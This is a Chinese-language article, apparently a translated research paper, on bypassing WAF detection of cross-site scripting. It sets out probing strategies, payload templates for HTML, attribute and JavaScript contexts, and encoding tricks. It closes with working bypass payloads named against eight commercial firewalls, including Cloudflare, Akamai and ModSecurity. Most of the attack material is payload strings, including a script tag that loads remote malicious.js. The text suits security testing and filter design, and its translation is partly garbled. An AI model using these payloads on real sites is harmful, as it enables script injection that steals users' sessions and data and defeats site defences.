绕过XSS检测机制 Bypass XSS

绕过XSS检测机制 Bypass XSS 摘要 本文提出了一种定义明确的方法来绕过跨站点脚本( XSS )安全机制,方法是对用于检测恶意字符串的规则进行假设,发送探测并基于这些假设构建有效负载。所提出的方法包括三个阶段:确定有效载荷结构、探测和混淆。 为给定上下文确定各种有效载荷结构提供了最佳测试方法的精确概念。下一个阶段,探测,包括根据目标的安全机制测试各种字符串。分析目标的响应,以便在分析的基础上做出假设。 最后,如果需要,对有效载荷进行模糊处理和其他调整。

致读者
作者假定读者至少具备跨站点脚本、超文本标记语言 (html) 和 javascript 的基本知识。
{string} 在整个文档中用于表示有效负载方案的组件。
{?string} 表示可选组件。
“主要字符” 一词是指必须包含在有效载荷中的字符。 建议在有效载荷中使用不安全字符之前,对不安全字符进行编码,例如 +和& 。 探测时,应该使用无害的字符串而不是{javascript}

目录
介绍
HTML上下文
外部标签
可执行上下文
不可执行上下文
在属性值内/作为属性值
在事件处理程序中
内部“src”属性
“srcdoc”属性内部
Generic attributes
Interactable
Intractable
JavaScript context
As string variable
Within code Blocks
Bypassing WAFs in the wild

介绍
跨站点脚本是最常见的网络应用程序漏洞之一。可以通过过滤用户输入、根据上下文转义输出、正确使用文档对象模型( DOM )接收器和源、实施正确的跨源资源共享( CORS )策略和其他安全实践来完全防止这种情况。尽管这些预防技术是众所周知的,但网络应用防火墙( WAF )或自定义过滤器被广泛用于增加另一层安全性,以保护网络应用免受人为错误或新发现的攻击向量所带来的漏洞的利用。尽管机器学习仍在由WAF厂商进行试验,正则表达式仍然是检测恶意字符串最广泛使用的手段。本文提出了一种构建XSS有效负载的方法,该有效负载与这种安全机制使用的正则表达式不匹配。

HTML内容

当用户输入反映在网页的HTML代码中时,就称其在HTML内容。HTML内容可以根据反射的位置进一步划分为子上下文。

内标签 :

<input type="text" value="$input">

外部标签

<span>You entered $input</span>

外部标签 这个上下文的主要字符是<负责启动一个超文本标记语言。根据超文本标记语言规范,标签名必须以字母开头。有了这些信息,可以使用以下探针来确定用于匹配标签名称的正则表达式:

<svg - 如果通过 这个地方没有检测标签
<dev - 如果失败 <[a-z]+
x<dev - 如果通过^<[a-z]+
<dEv - 如果失败 <[a-zA-Z]+
<d3V - 如果失败 <[a-zA-Z0-9]+
<d|3v - 如果失败 <.+

如果安全机制不允许这些探测器, 则不能绕过它。由于误报率很高, 应阻止这种限制性规则。

如果上述任何探测器解除阻止, 可以使用一些有效载荷方案来制造有效载荷。

payload 方案 #1
<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

一旦找到合适的{tag}值,下一步就是猜测用于匹配tag和事件处理程序之间填充符的正则表达式。该操作可以通过以下探针来执行:

<tag xxx - 如果失败, {space}
<tag%09xxx - 如果失败, [\s]
<tag%09%09xxx - 如果失败, \s+
<tag/xxx - 如果失败, [\s/]+
<tag%0axxx- 如果失败, [\s\n]+
<tag%0dxxx>- 如果失败, [\s\n\r+]+
<tag/~/xxx - 如果失败, .*+

这个组件,即事件处理程序,是有效载荷结构中最关键的部分之一。它通常与类型为on\w+的常规正则表达式或黑名单 如 on(load|click|error|show) 匹配。第一个正则表达式是非常严格的,不能被绕过,而黑名单类型模式通常被绕过使用不太知名的事件处理程序,可能不在黑名单中。使用的方法类型可以通过两个简单的检查来识别

<tag{filler}onxxx - 如果失败, on\w+. 如果通过, on(load|click|error|show)
<tag{filler}onclick - 如果通过, 此处没有检查正则表达式的事件处理程序

如果正则表达式显示为on\w+,则不能绕过它,因为所有事件处理程序都以on开头。在这种情况下,您应该继续下一个有效载荷方案。如果正则表达式遵循黑名单方法,您需要找到没有被列入黑名单的事件处理程序。如果所有事件处理程序都被列入黑名单,您应该进入下一个有效负载方案。

在我绕过防火墙WAF的经验中, 我发现黑名单中没有的一些事件处理程序是:

onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel 

与前面讨论的内容相似, 只有在安全机制阻止 < tag{filler}{event_handler}=d3v 的情况下, 才应对其进行测试。

下一个组件是要执行的JavaScript代码。它是有效负载的活动部分,但是不需要假设正则表达式用于匹配它,因为JavaScript代码是任意的,因此不能用预定义的模式匹配。

此时,有效负载的所有组件都放在一起,并且只需要关闭有效负载,这可以通过以下方式来完成:

<payload>
<payload
<payload{space}
<payload//
<payload%0a
<payload%0d
<payload%09

应该注意的是,超文本标记语言规范允许<标记{空白} {这里的任何内容} >这表明,只要在超文本标记语言文档后面的某个地方有一个大于符号>是有效的,诸如< a href = ‘ http : / / example . com ‘ ny text这样的超文本标记语言就可以放在这里。超文本标记语言的这一特性使得攻击者能够以上述方式注入超文本标记语言。

payload 方案 #2
<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

测试填充符以及结束字符串类似于之前的有效载荷方案。必须指出的是。可以用在网址的末尾(如果网址后面没有使用填充符),而不是结束标签。之后的每个字符?将被视为网址的一部分,直到遇到>为止。使用< script >标记,大多数安全规则都可能检测到它。

使用< object >标签的有效负载可以使用类似的有效负载方案来构造:

<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
payload 方案 #3

此有效负载方案有两个变体: 普通和可混淆。

普通的变体通常与如下模式相匹配,例如: href[\s]{0,}=[\s]{0,}javascript: 其结构如下:

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}

可混淆的有效载荷变量具有以下结构:

<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}

这两种变体之间的显著区别是{special}组件和{ quote }组件,{special}指的是字符串javascript的混淆版本,可以使用换行符和水平制表符进行混淆,如下所示:

j%0aAv%0dasCr%09ipt:
J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:
J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:

在某些情况下,数字字符编码也可以用来逃避检测。十进制和十六进制都可以使用。

Javascript:
javascript:

显然, 如果需要, 这两种混淆技术可以一起使用。

Java%0a%0d%09script:

可执行和不可执行的上内容

根据注入的有效载荷是否可以在没有任何特殊帮助的情况下执行,外部标签内容可以进一步分为可执行和不可执行 内容 。当输入反映在一个HTML注释中时,即< – $ input – – >或在以下标记之间,就会出现不可执行的内容:

<style>
<title>
<noembed>
<template>
<noscript>
<textarea>

为了执行有效载荷,必须关闭这些标签。因此,测试可执行上下文和不可执行上下文之间的唯一区别是测试{closing tag}组件,这可以如下进行测试:

</tag>
</tAg/x>
</tag{space}>
</tag//>
</tag%0a>
</tag%0d>
</tag%09>

一旦发现一个有效的结束标记方案,{结束标记} {来自可执行有效载荷部分的任何有效载荷}都可以用于成功的注入

内部标签
在属性值内/作为属性值

此上下文的主要字符是用于括住属性值的引号。例如,如果输入被反映为< input value=”$input” type=”text ” >那么主要字符将是 ” 然而,在某些情况下,主字符不需要脱离上下文。

在事件处理程序中 如果输入反映在与事件处理程序关联的值中,例如
<tag event_handler=”function($input)”; 触发事件处理程序将执行值中存在的javascript

“src” 内部属性 如果输入被反映为脚本或iframe标记的src属性值,例如
<script src=”$input”> ,恶意脚本(脚本标记)或网页( iframe标记)可以如下直接加载
<script src=”http://example.com/malicious.js”>

绕过匹配正则表达式的网址

//example.com/xss.js bypasses http(?s)://
////////example.com/xss.js bypasses (?:http(?s):?)?//
/\///\/example.com/xss.js bypasses (?:http(?s):?)?//+

在“srcdoc”属性内 如果输入被转义为iframe标记的srcdoc属性值,例如
<iframe srcdoc=”$input”> ,则可以按如下方式提供转义(带HTML实体)HTML文档作为有效负载

<iframe srcdoc="<svg/onload=alert()>">

通用属性
上述所有情况都不需要任何绕过技术, 但最后一种技术除外, html 上下文部分中使用的技术可以绕过最后一种技术。讨论的情况并不常见, 最常见的属性上下文反射类型如下所示:

<input type="text" value=""/onfocus="alert()$input">

基于相关标签的交互性,它可以进一步分为两类。

可交互的
当输入在标签内被反射时,该标签可以与例如点击、悬停、聚焦等交互。,只有引用才能脱离上下文。这种情况下的有效载荷方案是:

{quote}{filler}{event_handler}{?filler}={?filler}{javascript}

可以使用下面的探针检查语句是否被WAF阻止(极不可能) :

x"y

事件处理程序在这里起着重要的作用,因为它是WAF可以检测到的唯一组件。每个标签都支持一些事件处理程序,这取决于用户寻找这样的情况,但是也有一些事件处理程序可以绑定到下面列出的任何标签:

onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup

其余的组件可以使用前面讨论的方法进行测试。

难对付的

当输入在无法交互的标签中得到反映时,需要突破标签本身来执行有效载荷。这种情况下的有效载荷方案是:

{quote}>{any payload scheme from html context section}

JavaScript 内容

字符串内部变量

最常见的 javascript 上下文反射类型是字符串变量中的反射。这很常见, 因为开发人员通常将用户输入分配给变量, 而不是直接使用它们。

var name = '$input';
Payload 方案 #1
{quote}{delimiter}{javascript}{delimiter}{quote}

分隔符通常是 JavaScipt 运算符, 如 ^ 如果用户输入位于单个带引号字符串变量中, 则可能的有效负载将是:

'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
Payload 方案 #2
{quote}{delimiter}{javascript}//

除了使用单行注释来注释掉该行中的其余代码以保持语法有效之外,它与前面的有效载荷方案类似。使用此有效负载方案可以制作的一些有效负载有:

'<{javascript}//'
'|{javascript}//'
'^{javascript}//'

代码块内

输入经常被反映到代码块中。例如,如果用户已经支付了订阅费并且超过18岁,网页就会做一些事情。具有反射输入的JavaScript代码如下所示:

function example(age, subscription){
    if (subscription){
        if (age > 18){
            another_function('$input');
        }
    else{
        console.log('Requirements not met.');
    }
}

假设我们没有支付订阅费用。为了解决这个问题, 我们需要走出 if (subscription) 模块, 这可以通过关闭条件块、函数调用等来完成。如果用户输入 ‘);}}alert();if(true){(‘ , 它将得到回应, 如下所示

function example(age, subscription){
    if (subscription){
        if (age > 18){
            another_function('');}}alert();if(true){('');
        }
    else{
        console.log('Requirements not met.');
    }
}

这里有一个缩进视图来理解有效负载是如何工作的

function example(age, subscription){
    if (subscription){
        if (age > 18){
            another_function('');
        }
    }
    alert();
    if (true){
        ('');
    }
    else{
        console.log('Requirements not met.');
    }
}

);关闭当前函数调用。
第一个}关闭if (age > 18)模块。
第二}关闭if subscription块。
alert ( );虚拟函数被用作测试。
if(true){启动if条件块以保持代码在语法上有效,因为代码后面还有一个else块。
最后(‘结合了我们最初注入的函数调用的剩余部分。

这是你在测试中会遇到的最简单的代码块之一。为了简化代码块的拆分过程,建议使用语法高亮显示,如Sublime Text。

有效载荷的结构取决于代码本身,这种不确定性使得检测非常困难。但是,如果需要,代码可以被混淆。例如,上面代码块的有效载荷可以写成:

');%0a}%0d}%09alert();/*anything here*/if(true){//anything here%0a('

如果输入被反映到JavaScript代码中,无论是在代码块中还是在变量字符串中,{html context payload} 可用于脱离上下文并执行有效负载。这个有效载荷方案应该比其他任何方案都先尝试,因为它很简单,但也有可能被检测到

绕过罕见的WAFs

在研究过程中,共有八个WAf被绕过。供应商通过负责任的披露了解到旁路,因此一些(或所有)旁路可能因此被修复。以下是旁路WAf、有效载荷和旁路技术的列表:

名称: Cloudflare
Payload: <a"/onclick=(confirm)()>click
绕过防火墙技术: Non-white space filler

名称: Wordfence
Payload: <a/href=javascript:alert()>click
绕过防火墙技术: 数字字符编码

名称: Barracuda
Payload: <a/href=Java%0a%0d%09script:alert()>click
绕过防火墙技术: 数字字符编码

名称: Akamai
Payload: <d3v/onauxclick=[2].some(confirm)>click
绕过防火墙技术: 黑名单和函数调用模块中缺少事件处理程序

名称: Comodo
Payload: <d3v/onauxclick=(((confirm)))``>click
绕过防火墙技术: 黑名单和函数调用模糊中缺少事件处理程序

名称: F5
Payload: <d3v/onmouseleave=[2].some(confirm)>click
绕过防火墙技术: 黑名单和函数调用模糊中缺少事件处理程序

名称: ModSecurity
Payload: <details/open/ontoggle=alert()>
绕过防火墙技术: 黑名单中缺少标记 (事件处理程序也一样)

名称: dotdefender
Payload: <details/open/ontoggle=(confirm)()//
绕过防火墙技术: 黑名单中缺少标签、函数调用混淆和替代结束标签

引用: .